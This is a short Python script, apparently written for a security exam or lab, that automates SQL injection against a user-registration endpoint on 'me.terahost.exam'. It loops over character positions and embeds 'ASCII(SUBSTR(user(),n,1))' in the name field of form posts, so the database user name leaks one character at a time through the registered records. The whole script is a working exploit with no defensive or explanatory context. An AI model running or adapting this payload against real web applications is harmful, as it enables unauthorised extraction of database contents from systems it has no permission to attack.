import requests
url_register = "http://me.terahost.exam/register-user"
position= "1"
for counter in range (1,20):
        user="ea"+str(counter)
        sqlcommand="ASCII(SUBSTR(user(),"+str(counter)+",1))"
        payload = "name=%27%2b"+ sqlcommand +"%2b%27&surname=aaa&email="+user+"&street_address=a&city=a&zip=a&password=a"
#       print payload
        registring = requests.post(url_register, params=payload)

#print registring.json()